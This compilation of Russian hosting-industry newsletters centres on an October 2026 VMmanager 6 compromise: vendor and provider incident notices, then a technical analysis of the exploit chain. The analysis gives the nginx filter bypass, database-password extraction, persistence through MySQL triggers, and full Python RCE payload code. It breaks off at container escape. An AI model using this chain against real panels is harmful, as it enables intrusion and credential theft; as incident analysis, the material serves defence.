Атака на VMmanager 6 Hosting



В середине октября инфраструктура нескольких десятков хостинг-провайдеров, использующих VMmanager 6 Hosting, столкнулась со скоординированной атакой.

Команда ISPsystem оперативно отреагировала на инцидент и нейтрализовала атаку. Рассказываем, что произошло и как развивались события.

Коротко о произошедшем: инцидент затронул одну из сборок VMmanager 6 Hosting, применяемую хостинг-провайдерами для выдачи виртуальных машин в открытом контуре. Злоумышленники реализовали атаку за счет ранее неизвестной 0-day уязвимости, а особенность nginx пропускать такие запросы делала ее эксплуатацию возможной.

С первых часов атаки мы усилили техподдержку и организовали круглосуточное реагирование. Выпустили серию внеплановых обновлений, временно отключили удаленное управление и запуск внутренних скриптов. Эти меры помогли ограничить действия злоумышленников и не дать им закрепиться в системе.

Анализ показал, что атаку вели, активно используя ИИ-инструменты: алгоритмы динамически адаптировали тактику под особенности конкретных провайдеров.

К расследованию также подключились эксперты из «Лаборатории Касперского», предоставившие решения для сканирования и зачистки узлов провайдеров.

Для предотвращения подобных инцидентов мы продолжим выпускать обновления с усиленной защитой. Расследование продолжится, пока не убедимся, что в затронутых средах не осталось следов присутствия злоумышленников и бэкдоров.

Мы приносим извинения и благодарим всех, кто помогает в диагностике и проверке исправлений.

Подробный разбор и полную хронологию читайте на нашем сайте.
www.ispsystem.ru/news/post-mortem

Малый бизнес стал переходить на защищенную облачную инфраструктуру — исследование Рег.облака



В третьем квартале 2026 года число новых подключений к защищенному облаку 152-ФЗ выросло на 80% по сравнению с началом года, наиболее активными пользователями услуги стал российский малый бизнес.

Российский провайдер облачных и bare-metal решений Рег.облако зафиксировал на рынке облачных услуг тенденцию активного перехода малого бизнеса на защищенную инфраструктуру. Небольшие компании становятся его основным драйвером, по данным Рег.облака, 86% пользователей защищенного облака 152-ФЗ — малые компании. За последние три месяца число новых подключений выросло на 80% по сравнению с первым кварталом 2026 года, а общее количество пользователей аттестованного облака превысило 5,5 тыс. компаний.
www.reg.cloud/cloud/fz152

Кроме того, активный спрос на защищенную инфраструктуру вышел за пределы технологического сектора: 78% корпоративных заказчиков облачной инфраструктуры 152-ФЗ в Рег.облаке работают вне ИТ-сферы. Категорию ИТ-компаний занимает 22% пользователей, однако остальные 78% распределены между оптовой торговлей (10%), здравоохранением (6%), финансовыми организациями, розничной торговлей и научно-техническими компаниями (5%). Защищенное облако также используют предприятия промышленности, строительства, образования и логистики.

Динамика отражает структурный сдвиг, который фиксируется на фоне общего повышения внимания бизнеса к вопросам обработки персональных данных. По оценкам экспертов Рег.облака в 2026 году российские компании стали чаще оценивать не вероятность проверки как таковой, а потенциальные издержки, связанные с обработкой чувствительной информации. Такой подход меняет приоритеты: защита данных переходит из категории формального требования в категорию управления рисками. Для малого бизнеса это прямая необходимость искать решения, которые позволяют соответствовать регуляторным требованиям без создания собственной защищенной инфраструктуры.

Собственный защищенный контур требует капитальных затрат на оборудование, внедрение и сопровождение средств защиты, а для небольшого предприятия это зачастую высокая статья расходов. Аттестованное облако позволяет получить готовую инфраструктуру без лишних затрат и времени. При этом компании не уходят от стандартной инфраструктуры полностью: 37% действующих пользователей Рег.облака ранее использовали публичное облако провайдера, а 27% совмещают оба формата, распределяя системы с учетом чувствительности данных. Такая модель становится типовой для рынка — бизнес размещает персональные данные в защищенном сегменте, а остальные системы оставляют в публичном облаке.

«Малый бизнес сегодня считает не стоимость аренды облака, а стоимость ошибки. Одна утечка может стоить дороже, чем годовой оборот. Собственный защищенный контур — это оборудование, специалисты, время и ресурсы на аттестацию. Аттестованное облако провайдера позволяет получить ту же инфраструктуру быстро и за доступную стоимость», — комментирует Егор Сапун, руководитель направления сертификации инфраструктуры Рег.облака.

Напомним, что с 30 мая 2025 года в России действуют новые требования к обработке персональных данных. Аттестованная облачная инфраструктура позволяет компаниям соответствовать этим требованиям без создания собственного защищенного контура. В дополнение к защищенным серверам пользователи Рег.облака задействуют резервное копирование, публичные IP-адреса, снапшоты и управляемые базы данных. Защищенное облако Рег.облака аттестовано по первому уровню защищенности персональных данных (УЗ-1) согласно приказу № 21 ФСТЭК России. Провайдер также обладает лицензией ФСБ на работу с криптографическими средствами и сертификатами соответствия международным стандартам ISO/IEC.

Внедрение TPU Google в облачную инфраструктуру Oracle



По мере масштабирования рабочих нагрузок ИИ во всех отраслях организациям необходимы вычислительные ресурсы, оптимизирующие пропускную способность, задержку и экономичность на протяжении всего жизненного цикла ИИ. Для удовлетворения этого спроса Oracle и Google Cloud объединяют усилия, чтобы предоставить процессоры Google Tensor Processing Units (TPU) для инфраструктуры Oracle Cloud Infrastructure (OCI), сделав OCI первым гипермасштабируемым провайдером за пределами Google, предлагающим TPU. Совместно мы начнем развертывание мощностей TPU на OCI начиная с 2027 календарного года.

TPU: Совместная разработка от кремниевой микросхемы до программного обеспечения.
Компания Google создала свой первый TPU более десяти лет назад, основываясь на четкой концепции продукта: совместная разработка специализированных микросхем с оптическими сетями, системами питания, жидкостным охлаждением и программным обеспечением компилятора обеспечивает прирост производительности на ватт и снижение общей стоимости владения, чего не могут достичь отдельные компоненты.

TPU v1 обеспечивал в 30 раз большую пропускную способность на ватт по сравнению с современными процессорами. Сегодня TPU используются для обучения и обслуживания Gemini в продуктах Google, насчитывающих миллиард пользователей, а TPU восьмого поколения обеспечивают до 12,6 PFLOPS нативных вычислений FP4 на чипе, что более чем в 100 раз превышает 92 TFLOPS у TPU v1 и в 2 раза повышает производительность на ватт по сравнению с предыдущим поколением. Однако одних только FLOPS недостаточно для определения экономической эффективности как обучения, так и вывода. Для обучения определяющим показателем является пропускная способность; процент времени, которое кластер тратит на продуктивные вычисления. Для вывода определяющими показателями являются задержка и стоимость на токен. TPU решают обе эти задачи за счет совместного проектирования на системном уровне.

Благодаря сочетанию внутрикристальной маршрутизации межсоединений (ICI) с оптической коммутацией каналов (OCS), плоскость управления обнаруживает аппаратные сбои или ухудшение качества связи и динамически перенаправляет оптические пути в обход неисправностей в режиме реального времени без перезапуска заданий, поддерживая пропускную способность более 97% на тысячах микросхем в крупномасштабных обучающих циклах и обеспечивая высокую доступность для обслуживания в производственной среде. Увеличенный объем SRAM на кристалле, большая емкость HBM и новая топология межсоединений малого диаметра, сокращающая количество сетевых переходов более чем на 50%, позволяют процессорам TPU последнего поколения обеспечивать до 80% лучшую производительность на доллар при обслуживании с низкой задержкой.

Эффективность аппаратного обеспечения приводит к ускорению разработки продукта, когда разработчики могут легко его внедрить. Наши недавние заявления на конференции PyTorch подтверждают наше стремление сделать программную экосистему Google TPU открытой и удобной для разработчиков средой для сообщества PyTorch. В частности, TorchTPU, наш собственный стек PyTorch для Google TPU, теперь доступен в качестве открытого исходного кода на GitHub. Теперь вы можете обучать, запускать и развертывать модели на TPU, используя уже используемые вами инструменты, включая vLLM, SGLang, llm-d, TorchTitan, Ray, TorchRec, Hugging Face, LiteRT.

Эта возможность переноса позволяет командам назначать каждую рабочую нагрузку акселератору, обеспечивающему наименьшую стоимость за токен или самое быстрое время обучения, без переписывания кода модели. А благодаря сегодняшнему объявлению, вскоре они смогут назначать эти рабочие нагрузки TPU в инфраструктуре Google Cloud или Oracle.

Расширение экосистемы инфраструктуры ИИ с помощью OCI
Даже несмотря на растущее внедрение TPU в Google Cloud, глобальный спрос на вычислительные ресурсы для ИИ превышает возможности любого отдельного облачного провайдера. Внедрение TPU в OCI предоставляет клиентам четыре существенных преимущества:
  • Центры обработки данных, спроектированные для высокой плотности ИИ: системы TPU от Google разработаны для прямого жидкостного охлаждения в масштабе стоек, и центры обработки данных следующего поколения OCI созданы именно для этого профиля. Oracle предоставляет гибкие и надежные мощности, которые могут переключаться между обучением моделей на переднем крае вычислений и выводом результатов в производственной среде в зависимости от меняющегося спроса клиентов. Сочетание эффективности TPU с инновационными подходами Oracle к электропитанию и охлаждению помогает быстро и в глобальном масштабе вводить в эксплуатацию энергоэффективные вычислительные мощности для ИИ.
  • Безопасная высокопроизводительная сеть с Oracle Acceleron: пока TPU передают трафик между чипами через ICI и OCS, Oracle Acceleron обеспечивает сетевую основу, соединяющую мощности TPU с остальной частью OCI. SmartNIC Acceleron с изоляцией арендаторов на аппаратном уровне, высокопроизводительной коммутационной матрицей и маршрутизацией пакетов с нулевым доверием обеспечивает передачу данных между базами данных Oracle, хранилищами и кластерами TPU с высокой пропускной способностью и низкой задержкой, не перегружая вычислительные ресурсы хостов и не ослабляя границы безопасности.
  • Близость к корпоративным данным: базы данных Oracle часто являются основной системой учета для крупных организаций. Предложение TPU непосредственно в OCI позволяет организациям проводить тонкую настройку и вывод результатов рядом с существующими корпоративными данными без дорогостоящих межоблачных переносов.
  • Возможность выбора различных архитектур: Предоставление TPU наряду с GPU в OCI дает командам гибкость в назначении оптимального ускорителя для каждого этапа рабочей нагрузки ИИ с учетом стоимости и производительности.

Благодаря интеграции вычислительных блоков Google TPU в облачную инфраструктуру Oracle, Google Cloud и Oracle открывают доступ к более чем десятилетнему опыту разработки специализированных систем искусственного интеллекта для более широкой экосистемы разработчиков. Когда у клиентов появляется больше вариантов специализированных вычислительных ресурсов в различных облачных средах, вся отрасль развивается быстрее и работает эффективнее. Мы с нетерпением ждём, что вы создадите.

Установите последнее обновление DNSmanager 6



Мы выпустили обновление для DNSmanager 6. Оно включает исправления безопасности, устранение ошибок и ряд улучшений архитектуры платформы. Рекомендуем незамедлительно применить его.

В текущих реалиях обновление не формальность, а необходимая мера для защиты вашей инфраструктуры. Вам требуется обновиться до актуальной версии:
DNSmanager 6 — v6.5.3.

Мы также призываем всегда поддерживать продукты в актуальном состоянии: регулярные обновления не только расширяют функциональность, но и закрывают известные уязвимости, а также повышают устойчивость и надежность систем.

Если у вас возникнут вопросы по установке или работе продукта, обратитесь в техническую поддержку. Мы поможем.

Благодарим за понимание!

В начале 2027 года мы выводим из эксплуатации наш дата-центр NLDW2 в Налдвейке



В начале 2027 года мы выводим из эксплуатации наш дата-центр NLDW2 в Налдвейке. Расположенные там же выделенные серверы будут отключены.

На данный момент предложение распространяется на серверы, перечисленные ниже: NLDW2.V1

Что мы вам предлагаем
Вы заменяете сервер NLDW2 на VPS на нашей новой платформе? Тогда вам больше не придется платить за старый сервер до 12 января 2027 года. Это даст вам время для миграции в удобное для вас время без двойных затрат.

Вы оплачиваете сам VPS. Мы рекомендуем стандартный вариант: 4 виртуальных процессора / 16 ГБ оперативной памяти / 320 ГБ дискового пространства. Это стоит 43,16 евро в месяц, включая 1 IP-адрес для доступа в интернет (без учета дополнительных IP-адресов).

Вот как это работает.
  • Шаг 1: Зарегистрируйтесь для получения предложения до 15 декабря 2026 года, отправив письмо на support@worldstream.com
  • Шаг 2: Создайте VPS на portal.worldstream.com
  • Шаг 3: Сообщите нам, какой сервер NLDW2 он заменяет, в течение той же недели, когда вы создадите VPS. Вы также можете сделать это по адресу support@worldstream.com
  • Шаг 4: Перенесите свои данные и сервисы со старого сервера на VPS.

Вы хотите создать VPS немедленно? Тогда вы можете отправить заявку на регистрацию и подключение в одном электронном письме.

Обратите внимание: без регистрации до 15 декабря или без подключения в течение той же недели предложение не распространяется на этот сервер. Оплата за ваш старый сервер будет продолжаться в обычном режиме.

Несколько серверов?
Предложение действует на один сервер. Вы подключаете каждый VPS к одному конкретному старому серверу. Таким образом, три старых сервера означают три VPS и три подключения. Вам нужен VPS другого размера? Отправьте запрос в чат, и мы обсудим возможности.

Что произойдет дальше?
13 января 2027 года мы автоматически закроем ваш старый сервер NLDW2. В этот день мы навсегда удалим сервер и все связанные с ним данные. Эта дата фиксирована и не может быть изменена. Поэтому убедитесь, что все ваши данные и сервисы находятся на VPS до 13 января.

Есть вопросы по поводу переключения, VPS или регистрации? Напишите нам по адресу support@worldstream.com Мы будем рады помочь.

Искренне Ваш,
Команда Worldstream

Ollama: как развернуть свою модель и подключить её к приложению



Когда приложение обращается к внешнему API LLM, часть инфраструктурных задач уже решена провайдером: он размещает модель, масштабирует вычисления и поддерживает endpoint. При локальном развертывании модели эти задачи приходится решать самостоятельно.

Здесь на помощь приходит Ollama — это сервис, который позволяет загружать и запускать совместимые модели, а также предоставляет интерфейсы для администрирования — CLI для базового взаимодействия, UI для общения в окне чата и HTTP API для интеграции. Ollama можно использовать на рабочей станции для проверки гипотезы, а затем развернуть на отдельном сервере, к которому обращаются приложения и внутренние пользователи. При этом опыт управления, конфигурации и взаимодействия с моделью будет идентичен.

В этой статье расскажем, как установить Ollama на Linux-сервере, запустить нейросеть и подключить модель к приложению. Но прежде чем переходить к настройке, разберёмся, в каких случаях вообще стоит запускать AI-модель самостоятельно на своём сервере.

1dedic.ru/blog/article/ollama-kak-razvernut-svoyu-model-i-podklyuchit-eyo-k-prilozheniyu

https://firstdedic.ru

Попробуйте новый CLO!



8 сентября мы открыли новую локацию CLO, и это не просто новые мощности или дополнительное оборудование. Мы фактически создали новое облако на современной программно-аппаратной платформе и разместили его в отдельной физической локации дата-центра IXcellerate.

Ваш существующий аккаунт уже перенесён в новую локацию. Ничего дополнительно переносить или настраивать не нужно — просто используйте новый адрес для авторизации: console.clo.ru

В новой локации мы полностью переработали технологическую основу CLO: обновили сетевую архитектуру, перешли на актуальные версии OpenStack и OpenSDN, переписали бэкенд, добавили поддержку DPDK и модернизировали подсистему хранения.

Что это даёт
Больше производительности и надёжности для ваших проектов:
  • — Более высокая производительность сети и хранилища;
  • — Более стабильная работа виртуальных машин и кластеров;
  • — Меньше влияния «шумных соседей» на производительность ваших ресурсов;
  • — Меньше ошибок и зависших операций;
  • — Современная архитектура, рассчитанная на дальнейшее развитие платформы;
  • — Обновлённый и более удобный личный кабинет.

Если у вас возникнут вопросы или понадобится помощь с запуском новых проектов, наша команда поддержки всегда готова помочь.

С уважением, команда CLO

https://console.clo.ru/sign/up/

Инцидент безопасности VMmanager 6: что произошло и что делать (20 окт 2026)



В октябре 2026 года злоумышленники атаковали сразу несколько российских хостинг-провайдеров через критическую уязвимость в VMmanager 6 — панели управления виртуализацией от компании ISPsystem (входит в «Группу Астра»). На этой панели работают VPS у нас и у многих других провайдеров. Мы тоже пострадали.

Ваши серверы продолжают работать. Ниже — что произошло, почему, что мы уже сделали и что нужно сделать вам.

Причина: уязвимость в продукте разработчика
Атака стала возможной из-за критической уязвимости в самом программном обеспечении VMmanager 6. Это не ошибка настройки у отдельного провайдера: одна и та же уязвимость была использована одновременно против многих хостинговых компаний.

О взломе через VMmanager 6 публично сообщили FirstVDS, ForestsNet Cloud, MHost, HSH Network и YaColo. Сам разработчик подтвердил инцидент: по словам представителя «Группы Астра», уязвимость была в одной из сборок VMmanager.


Чего до сих пор не сообщил разработчик
На момент публикации ISPsystem не предоставила провайдерам информации, достаточной для уверенного устранения уязвимости и проверки инфраструктуры. Не опубликованы:
  • описание уязвимости и способ первоначального проникновения;
  • идентификатор CVE и список затронутых версий;
  • индикаторы компрометации (IoC): адреса серверов злоумышленников, имена файлов и процессов, признаки закрепления;
  • подтверждение, что выпущенные исправления закрывают уязвимость полностью.
Первое исправление вышло в ночь на 18 октября, затем последовали ещё несколько. По данным других пострадавших провайдеров, разработчик сам не рекомендовал открывать доступ к панели до выхода следующих патчей. Без технических деталей каждый провайдер вынужден восстанавливать картину атаки самостоятельно, по собственным журналам и в общении с коллегами.

Мы направили разработчику запрос на полную техническую информацию и опубликуем её, как только получим. Мы считаем, что ответственность за уязвимость и за своевременное раскрытие сведений о ней лежит на разработчике продукта.

Что могло утечь
Злоумышленники получили доступ к базе данных панели. В ней хранились:
  • список серверов и их IP-адреса;
  • адреса электронной почты учётных записей панели;
  • root-пароли, заданные через панель при заказе, переустановке или смене пароля;
  • пароли VNC-консоли.
У части провайдеров злоумышленники также добрались до узлов виртуализации. Там они запускали программу, которая подключала диски клиентских серверов в режиме только для чтения и искала секреты:
  • SSH-ключи, authorized_keys, хеши паролей, менеджеры паролей, ключи GnuPG;
  • учётные данные облаков и DevOps: AWS, Google Cloud, Azure, Kubernetes, Docker, Terraform, токены GitHub, GitLab и npm;
  • файлы .env, docker-compose.yml, конфигурации приложений и баз данных;
  • криптокошельки, seed-фразы, ключи API бирж;
  • пароли и cookies браузеров, история командной оболочки;
  • API-ключи сервисов ИИ, пароли резервных копий restic и Borg.
Программа работала на уровне инфраструктуры и не запускалась внутри серверов. Поэтому на самом сервере следов её работы нет, даже если данные были скопированы.

На наших узлах следов этой программы мы не нашли, но ввиду отсутствия информации от разработчика не можем полностью исключить её работу.

Что мы сделали
Не дожидаясь полной информации от разработчика, мы провели собственную проверку и закрыли известные нам пути доступа:
  • Закрыли публичный доступ к панели управления сразу после обнаружения атаки.
  • Нашли и заблокировали в обеих наших панелях посторонние учётные записи с правами администратора, созданные злоумышленниками для закрепления. Данные о них сохранены для расследования и переданы разработчику.
  • Установили все исправления, выпущенные ISPsystem.
  • Сменили всё, что хранилось на сервере панели: ключи доступа к узлам, служебные пароли интеграций с биллингом и поддержкой, ключи DNS и резервного копирования.
  • Проверили узлы с клиентскими серверами: файлы, службы, процессы и журналы.

Какие данные не пострадали
По результатам нашего расследования, инцидент не затронул:
  • резервные серверы;
  • персональные данные в биллинге;
  • платёжные реквизиты;
  • любые сервисы, кроме пострадавшей платформы управления виртуализацией.
Здесь сыграло роль разделение этих систем: доступ к части среды управления виртуализацией не открывал доступа к данным о выставлении счетов, учётным записям клиентов и инфраструктуре резервного копирования.

Что нужно сделать вам
Главный риск — что злоумышленники воспользуются украденными паролями и ключами. Сделайте это как можно скорее, даже если на сервере всё выглядит нормально.
  • Криптокошельки — в первую очередь. Если на сервере хранились кошельки или seed-фразы, переведите средства на новые кошельки, созданные на другом, чистом устройстве.
  • Смените root-пароль, если задавали его через панель и с тех пор не меняли.
  • Перейдите на вход по SSH-ключу и отключите вход по паролю.
  • Смените все секреты, хранившиеся на сервере: пароли пользователей и баз данных, SSH-ключи, API-ключи и токены, доступы к облакам, CI/CD, почте, платёжным системам и сервисам ИИ.
  • Отзовите старые ключи, а не просто создайте новые: в облачных консолях, GitHub, GitLab, у платёжных провайдеров.
  • Проверьте сервер: незнакомые пользователи, ключи в ~/.ssh/authorized_keys, задания cron, незнакомые процессы и службы systemd.
  • Проверьте журналы входов на сервере и в сервисах, ключи от которых на нём лежали: нет ли входов с незнакомых адресов после 11 октября.
  • Если на сервере были персональные данные ваших клиентов, проконсультируйтесь с юристом об обязанности уведомить Роскомнадзор.
  • Если у вас есть серверы у других провайдеров, которые работают на VMmanager 6, выполните те же действия и там.

Если нужна помощь
Нашли на сервере что-то постороннее или не уверены? Напишите в поддержку — поможем разобраться и при необходимости переустановим сервер.

Приносим извинения за неудобства, включая время без доступа к панели. Мы будем обновлять эту статью по мере появления информации от разработчика и опубликуем подробный разбор после завершения расследования.

Отчет про VMmanager от ИИ







vmmanager6-rce-analysis.md

# Технический разбор уязвимости и цепочки RCE в VMmanager 6

Документ описывает механику эксплуатации уязвимости в панели управления **ISPsystem VMmanager 6**, позволяющей неавторизованному атакующему получить выполнение произвольного кода (RCE) внутри контейнеров панели, захватить постоянный доступ к API, выйти из Docker-контейнера на хост-сервер под `root` и скомпрометировать узлы кластера виртуализации.

---

## 1. Архитектура маршрутизации и точка входа (`input` / Nginx)

Входящий HTTP/HTTPS-трафик в VMmanager 6 принимает пограничный контейнер `input`, внутри которого работают **Nginx** и **consul-template**. Все микросервисы панели (`auth_v4`, `vm_v3`, `taskmgr_v4`, `installer_v1`, `vault_v4` и др.) регистрируются во внутреннем **Consul**, а `consul-template` динамически генерирует конфигурацию Nginx на основе шаблонов из `/etc/nginx/templates/*.ctmpl`.

Схема прохождения запроса внутри контейнера `input`:

1. Внешний HTTPS-сервер (`443 ssl`, шаблон `/etc/nginx/templates/secure.conf.ctmpl`) проверяет URL на обращение к внутренним служебным сервисам и проксирует трафик на внутренний порт `http://127.0.0.1:1500`.
2. Внутренний сервер на порту `1500` (`/etc/nginx/templates/frontend.conf.ctmpl`) подключает `/etc/nginx/conf.d/backend-api.inc` и `/etc/nginx/conf.d/backend.inc`.
3. В шаблонах `backend-api.inc.ctmpl` и `backend.inc.ctmpl` все не-`GET` запросы (`POST`, `DELETE` и т.д.) перезаписываются с добавлением префикса `/write`:

```nginx
if ($request_method != "GET") {
    rewrite ^(/.*)$ /write$1 last;
}
```

После перезаписи запрос попадает в сгенерированные из Consul `writer`-локации вида:

```nginx
location /write/{{ $service_endpoint }}/ {
    rewrite ^ /write$request_uri;
    rewrite /write/{{ $service_endpoint }}/(.*) /$1 break;
    proxy_pass http://{{$service_name}}_writer_upstream$uri;
    ...
}
```

### Ошибка в правиле фильтрации (`secure.conf.ctmpl`)

Внешний фильтр в `/etc/nginx/templates/secure.conf.ctmpl`, предназначенный для блокировки доступа извне к внутренним неавторизованным микросервисам (`installer/v1`, `taskmgr/v4`, `vault/v4`, `collector/v3` и др.), выглядел следующим образом:

```nginx
if ($uri ~ ^/(api/|writer/)?(collector/v3|hawatch/v3|input|installer/v1|nodewatch/v3|resowatch/v3|taskmgr/v4|vault/v4)(/|$)) {
    return 403;
}
```

В регулярном выражении допущена критическая ошибка: фильтр проверяет префикс **`writer/`**, тогда как реальные внутренние `writer`-маршруты в `backend.inc.ctmpl` и `backend-api.inc.ctmpl` используют префикс **`write/`** (`/write/taskmgr/v4/...`, `/write/installer/v1/...`, `/write/vault/v4/...`), а также не учитывает особенности нормализации путей при проксировании через `http://127.0.0.1:1500`.

В результате внутренние сервисы управления задачами (`taskmgr/v4`), установщиком (`installer/v1`) и хранилищем секретов (`vault/v4`), не имеющие собственной проверки пользовательских сессий на внутренних эндпоинтах, оказались доступны для вызовов извне.

---

## 2. Захват БД и закрепление через `/auth/v4/public/{key,token}`

Получив возможность обращаться к внутренним микросервисам, автоматизированный эксплойт первым шагом запрашивает у сервиса `installer/v1` переменные окружения контейнеров (`POST /installer/v1/docker_env`), выполняя внутри контейнеров команду:

```text
Docker exec. cmd: [printenv DATABASE_PASSWORD], stdin: false
```

Зная `DATABASE_PASSWORD`, атакующий получает прямой доступ к СУБД MySQL (`isp`) и закрепляется в системе авторизации `auth_v4`:

1. **Эксплуатация публичных эндпоинтов `/auth/v4/public/key` и `/auth/v4/public/token`**:
   - В микросервисе `auth_v4` (`etc/permissions.conf.d/public.json`) эндпоинты `/auth/v4/public/key` и `/auth/v4/public/token` открыты для группы `@any` (без авторизации).
   - Штатно `POST /auth/v4/public/key` принимает ключ из таблицы `isp.auth_key` и без пароля и 2FA обменивает его на полноценный сессионный токен (`isp.auth_token`) с правами администратора.
2. **Инъекция «неубиваемых» ключей и токенов в MySQL**:
   - Атакующий добавляет в таблицу `isp.auth_key` десятки ключей с флагом `eternal = 1` и `expires_at = NULL`, а также прописывает бессрочные сессии в `isp.auth_token`.
   - Чтобы администратор панели или штатные механизмы очистки не смогли сбросить эти сессии, в БД `isp` создаются вспомогательные таблицы `task_notify_keep_tokens` и `task_notify_keep_keys`, триггеры `auth_notify_keys` / `auth_notify_touch` и периодическое событие MySQL `auth_token_cleanup` (`EVENT`), которые автоматически восстанавливают удалённые ключи и продлевают время жизни токенов атакующего.

После этого атакующий может обращаться к любым внешним API панели как легитимный суперадминистратор, просто обменивая свои ключи через `POST /api/auth/v4/public/key`.

---

## 3. Механика RCE и эксфильтрации вывода через Consul (`taskmgr/v4`)

Для выполнения произвольных команд внутри контейнеров атакующий использует микросервис очередей задач `taskmgr/v4` (`POST /taskmgr/v4/task`), передавая в параметрах задачи:
- `bin_path`: `"/usr/bin/python3"`
- `bin_args`: `["-c", "<python_payload>", "<base64_cmd>", "<service_name>", "<service_id>", "<result_token>", "110.0", "110.0", "1048576"]`

Задачу подхватывает один из воркеров `/opt/ispsystem/taskmgr/bin/worker`, запущенных внутри контейнеров (`vm_back`, `vm_box`, `auth_back` и др.).

### Проблема возврата результата (Blind RCE -> Interactive HTTP RCE)

Контейнеры `vm_back` / `auth_back` находятся во внутренней Docker-сети за Nginx (`input`) и не торчат наружу. Чтобы получить `stdout`/`stderr` выполненной команды обратно в рамках обычного HTTPS-соединения к панели, авторы эксплойта реализовали динамическую регистрацию обратного маршрута через **Consul**:

1. Python-скрипт декодирует `sys.argv[1]` из Base64 и запускает команду через `/bin/sh -c`, записывая весь `stdout` и `stderr` во временный буфер.
2. Скрипт поднимает внутри контейнера одноразовый HTTP-сервер (`http.server.HTTPServer`) на случайном свободном порту (`0.0.0.0:0`), который отвечает только на путь `/result/<result_token>` и возвращает вывод команды вместе с кастомными заголовками:
   - `X-VMmanager-Result: <result_token>`
   - `X-VMmanager-Exit-Code: <return_code>`
   - `X-VMmanager-Timed-Out: 0|1`
   - `X-VMmanager-Truncated: 0|1`
3. Скрипт отправляет `PUT http://consul:8500/v1/agent/service/register`, регистрируя свой временный HTTP-сервер в Consul как новый микросервис с тегами `["backend", "reader"]` и маскировочным именем (например, `node_notify-1807d68b`, `host_info-a92ab95c`, `input_ee8f14bd846f44568206`).
4. В контейнере `input` демон `consul-template` мгновенно обнаруживает в Consul новый сервис с тегами `backend` и `reader`, **автоматически генерирует для него внешний маршрут `location /<service_name>/` в Nginx** и выполняет `nginx -s reload`.
5. Атакующий снаружи делает обычный запрос `GET https://<panel_host>/<service_name>/result/<result_token>`, забирает вывод команды, после чего Python-скрипт сам дерегистрирует временный сервис из Consul (`PUT /v1/agent/service/deregister/<service_id>`), закрывает сокет и завершает работу, а задача удаляется из таблицы `isp.taskmgr_task`.

### Полный исходный код Python-эксплойта (из `bin_args`)

```python
import base64
import http.server
import json
import os
import signal
import socket
import subprocess
import sys
import tempfile
import time
import urllib.parse
import urllib.request

command = base64.b64decode(sys.argv[1]).decode("utf-8")
service_name = sys.argv[2]
service_id = sys.argv[3]
result_token = sys.argv[4]
command_timeout = float(sys.argv[5])
serve_timeout = float(sys.argv[6])
max_output = int(sys.argv[7])

timed_out = False
with tempfile.TemporaryFile() as capture:
    process = subprocess.Popen(
        ["/bin/sh", "-c", command],
        stdin=subprocess.DEVNULL,
        stdout=capture,
        stderr=subprocess.STDOUT,
        start_new_session=True,
    )
    try:
        return_code = process.wait(timeout=command_timeout)
    except subprocess.TimeoutExpired:
        timed_out = True
        os.killpg(process.pid, signal.SIGKILL)
        return_code = process.wait()
    capture.seek(0)
    output = capture.read(max_output + 1)

truncated = len(output) > max_output
if truncated:
    output = output[:max_output]
if timed_out:
    output += ("\n[probe: command exceeded %.1f seconds]\n" % command_timeout).encode()
effective_return_code = 124 if timed_out else return_code

expected_path = "/result/" + result_token
check_id = "service:" + service_id

class ResultHandler(http.server.BaseHTTPRequestHandler):
    protocol_version = "HTTP/1.1"

    def do_GET(self):
        if urllib.parse.urlsplit(self.path).path != expected_path:
            self.send_error(404)
            return
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Length", str(len(output)))
        self.send_header("X-VMmanager-Result", result_token)
        self.send_header("X-VMmanager-Exit-Code", str(effective_return_code))
        self.send_header("X-VMmanager-Timed-Out", "1" if timed_out else "0")
        self.send_header("X-VMmanager-Truncated", "1" if truncated else "0")
        self.send_header("Connection", "close")
        self.end_headers()
        self.wfile.write(output)
        self.wfile.flush()
        self.server.result_delivered = True

    def log_message(self, _format, *_args):
        return

class ResultServer(http.server.HTTPServer):
    allow_reuse_address = True

server = ResultServer(("0.0.0.0", 0), ResultHandler)
server.timeout = serve_timeout
server.result_delivered = False

route_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
    _consul_ip = socket.getaddrinfo("consul", 8500, socket.AF_INET)[0][4][0]
    route_socket.settimeout(8)
    route_socket.connect((_consul_ip, 8500))
    service_address = route_socket.getsockname()[0]
finally:
    route_socket.close()

registration = json.dumps({
    "ID": service_id,
    "Name": service_name,
    "Tags": ["backend", "reader"],
    "Address": service_address,
    "Port": server.server_address[1],
    "Check": {
        "CheckID": check_id,
        "Name": service_name + " temporary result route",
        "TTL": "30s",
        "Status": "passing",
        "DeregisterCriticalServiceAfter": "1m",
    },
}).encode()

import signal as _wsignal
def _walarm(_sig, _frm):
    raise SystemExit(124)
_wsignal.signal(_wsignal.SIGALRM, _walarm)
_wsignal.alarm(int(serve_timeout + 90))

def consul_put(path, data=b""):
    request = urllib.request.Request(
        "http://consul:8500" + path,
        data=data,
        method="PUT",
        headers={"Content-Type": "application/json"},
    )
    opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))
    with opener.open(request, timeout=5) as response:
        response.read()

registered = False
try:
    consul_put("/v1/agent/service/register", registration)
    registered = True
    deadline = time.monotonic() + serve_timeout
    next_heartbeat = 0.0
    while not server.result_delivered and time.monotonic() < deadline:
        if time.monotonic() >= next_heartbeat:
            consul_put("/v1/agent/check/pass/" + urllib.parse.quote(check_id, safe=""))
            next_heartbeat = time.monotonic() + 10.0
        server.timeout = min(1.0, max(0.1, deadline - time.monotonic()))
        server.handle_request()
finally:
    server.server_close()
    if registered:
        try:
            consul_put("/v1/agent/service/deregister/" + urllib.parse.quote(service_id, safe=""))
        except Exception:
            pass

if not server.result_delivered:
    raise SystemExit(124)
if timed_out:
    raise SystemExit(124)
raise SystemExit(effective_return_code if 0 <= effective_return_code <= 125 else 1)
```

---

## 4. Побег из Docker-контейнера на хост панели (`Container Escape`)

Поскольку `taskmgr_worker` выполняется внутри непривилегированного контейнера, для выхода на саму хост-систему под `root` используется архитектурная особенность демона установщика VMmanager (`/usr/local/bin/vm`):

1. На хосте от имени `root` запущен системный сервис `vm.service` (`/usr/local/bin/vm`), который слушает Unix-сокет `/opt/ispsystem/vm/socket/service.sock`. Этот сокет проброшен внутрь контейнеров (`vm_box`, `forward_proxy`, `updater`) и обслуживает внутренний сервис `installer/v1`.
